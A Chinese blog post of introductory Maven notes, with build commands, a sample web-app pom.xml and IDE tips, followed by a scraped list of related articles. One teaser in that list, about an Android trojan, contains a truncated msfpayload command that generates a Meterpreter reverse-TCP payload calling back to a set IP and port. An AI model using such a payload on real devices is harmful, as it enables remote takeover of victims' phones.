一、Maven是干什么的?

我相信只要你写过足够多的代码,就...
肯定有思考过写一个脚本方便把项目自动打包成war并部署到服务器;
肯定有思考过对于一个web项目用什么样的文件结构才比较合适,怎么样才算得上是best practice;
也许还想过弄个中心仓库免去每次都要自己网上手动找包的麻烦 ...
 - - - - - - - - - - - - -
Maven正是一个做这些事情的工具。如果你真的尝试做过上面的事情,就很容易理解Maven了。
那么自己弄和用Maven有什么区别呢?借用《Maven编程实战》里的一个的比喻,建立高度自定义的构建系统(自己写脚本)就像买组装PC,虽然其乐无穷,但是耗时费力,结果也不一定很好,并且实际项目中也不可能给你这么多时间。使用Maven就像购买品牌PC,省时省力,而且直接就是best practice,还能得到Maven社区的大量支持 ...

二、用Maven的好处

个人觉得用Maven最大的好处在于:统一了各种规范(流程和项目结构)+依赖管理。

补充一些理由:

  1. 让你在IDEA和Eclipse等各种集成环境中切换毫无压力
  2. 方便大家合作写代码,节约了学习成本,因为各种东西都已经约定、统一好了
  3. 并且这些约定还是best practice,不仅成熟、稳定,还好用!
  4. 资料多、支持多,随便去GitHub上看Java项目,Maven结构的尤其多
  5. 节省时间。腾出自己网上到处下jar包的时间,做更有价值的事情
  6. 自动化打包部署,有效减少鼠标键盘的磨损度、缓解脱发等不良症状。。。
  7. 手动省略号。。。。

总之。Maven绝对是个懒人必备的工具。不过,在刚开始,你不得不花一点时间来适应、学习它(很快就会变成习惯!)。只需少许的时间就能掌握这样一件神器,显然非常划算。

三、Maven与命令行

跟着官方教程操作一遍差不多就好了。。稍微记录一下↓

▲运行mvn package后得到jar包的实际结构(注意resource的位置):

▲哪里找包:https://mvnrepository.com/

▲生成简单java项目原型:

mvn -B archetype:generate \
-DarchetypeGroupId=org.apache.maven.archetypes \
-DgroupId=com.mycompany.app \
-DartifactId=my-app

▲生成简单java web项目原型:

mvn archetype:generate \
-DarchetypeGroupId=org.apache.maven.archetypes \
-DarchetypeArtifactId=maven-archetype-webapp \
-DgroupId=com.mycompany.app \
-DartifactId=my-webapp

▲跳过测试:

mvn clean install -DskipTests

▲只跑特定的测试mvn test -Dtest=[ClassName]#[MethodName],例:

$ mvn test -Dtest=ProfileDAOTest#saveProfile 

▲pom.xml参考(其实是方便自己copy...)

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>org.sample.webapp</groupId>
<artifactId>web-test-01</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging> <properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<!-- -source 1.5 中不支持 try-with-resources-->
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties> <dependencies>
<!-- https://mvnrepository.com/artifact/junit/junit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.25</version>
</dependency>
<!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.2.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.38</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>2.7.8</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>

pom.xml

四、Maven与IntelliJ IDEA

本来想写点什么,发现官网都准备好了。。feature-rich integration for Maven以及https://www.jetbrains.com/help/idea/maven-support.html

不过我觉得还是应该以命令行为主,集成环境里的操作作为辅助,这样,IDEA就成了一个高级代码编辑器,之后换其它开发环境也很容易适应。

▲以图表方式查看项目依赖关系:

▲Maven怎么和web开发结合可以参考这个:https://www.imooc.com/learn/587

Maven笔记 #01# 入门的更多相关文章

  1. Echarts和Highcharts学习笔记01——入门了解

      Echarts是国内百度团队开发的(开源),基于Canvas,适合数据量较大的情况: Highcharts是国外的(商用需授权),基于SVG,方便自己定制,但能使用的图表类型有限: Echarts ...

  2. Redis 笔记 01:入门篇

    Redis 笔记 01:入门篇 ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ...

  3. Bootstrap笔记--快速入门

    首先是Bootstrap的简介: 业余了解:下面这个网址可以查询IP地址的地理位置 下面学习:(具体可以参考Bootstrap中文网) 栅格系统 Bootstrap 提供了一套响应式.移动设备优先的流 ...

  4. DBFlow框架的学习笔记之入门

    什么是DBFlow? dbflow是一款android高性的ORM数据库.可以使用在进行项目中有关数据库的操作.github下载源码 1.环境配置 先导入 apt plugin库到你的classpat ...

  5. SaToken学习笔记-01

    SaToken学习笔记-01 SaToken版本为1.18 如果有排版方面的错误,请查看:传送门 springboot集成 根据官网步骤maven导入依赖 <dependency> < ...

  6. Redis:学习笔记-01

    Redis:学习笔记-01 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 1. Redis入门 2.1 ...

  7. Python学习--01入门

    Python学习--01入门 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.和PHP一样,它是后端开发语言. 如果有C语言.PHP语言.JAVA语言等其中一种语言的基础,学习Py ...

  8. maven实战(01)_搭建开发环境

    一 下载maven 在maven官网上可下载maven:http://maven.apache.org/download.cgi 下载好后,解压.我的解压到了:D:\maven\apache-mave ...

  9. 软件测试之loadrunner学习笔记-01事务

    loadrunner学习笔记-01事务<转载至网络> 事务又称为Transaction,事务是一个点为了衡量某个action的性能,需要在开始和结束位置插入一个范围,定义这样一个事务. 作 ...

随机推荐

  1. 常量,变量,a++,++a,+=等

    常量:数据在程序里面进行运算时不能发生改变的数据,成为常量.变量:可变动的数据.变量的定义:  数据类型   变量名   =  初始值.基本数据类型:整数型:byte              1字节 ...

  2. 数据分析与挖掘 - R语言:贝叶斯分类算法(案例二)

    接着案例一,我们再使用另一种方法实例一个案例 直接上代码: #!/usr/bin/Rscript library(plyr) library(reshape2) #1.根据训练集创建朴素贝叶斯分类器 ...

  3. 动手动脑(&课后实验):类和对象

    1. 以下代码为何无法通过编译?哪儿出错了? 如果类提供了一个自定义的构造方法,将导致系统不再提供默认构造方法.而此时程序中已提供了一个有一个参数的构造函数,而定义对象时却没有参数,所以程序会报错. ...

  4. IdentityServer3:.NET开源OpenID和OAuth2架构

    简介 大多数软件的相互沟通图:客户端与Web应用程序的访问.应用与Web api.api与api……相互沟通则需要授权.身份验证 IdentityServer3的功能:Web认证.SSO单点登录.We ...

  5. ASP.Net Core 2.2 MVC入门到基本使用系列 (四)(转)

    本教程会对基本的.Net Core 进行一个大概的且不会太深入的讲解, 在您看完本系列之后, 能基本甚至熟练的使用.Net Core进行Web开发, 感受到.Net Core的魅力. 本教程知识点大体 ...

  6. Hessian---java远程通讯 (zhuan)

    http://blog.csdn.net/harderxin/article/details/22669383 (zhuan)

  7. oracle中ddl的管理

    因为某些原因,Oracle的ddl权限不能开放给用户. 之前采取的方式是,创建用户的时候不为其赋予create table 的权限. 但是在使用过程中发现该用户还是拥有alter table的权限. ...

  8. kali linux android木马(内网+外网)

    1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > a ...

  9. python pandas模块,nba数据处理(1)

    pandas提供了使我们能够快速便捷地处理结构化数据的大量数据结构和函数.pandas兼具Numpy高性能的数组计算功能以及电子表格和关系型数据(如SQL)灵活的数据处理能力.它提供了复杂精细的索引功 ...

  10. Real Time Credit Card Fraud Detection with Apache Spark and Event Streaming

    https://mapr.com/blog/real-time-credit-card-fraud-detection-apache-spark-and-event-streaming/ Editor ...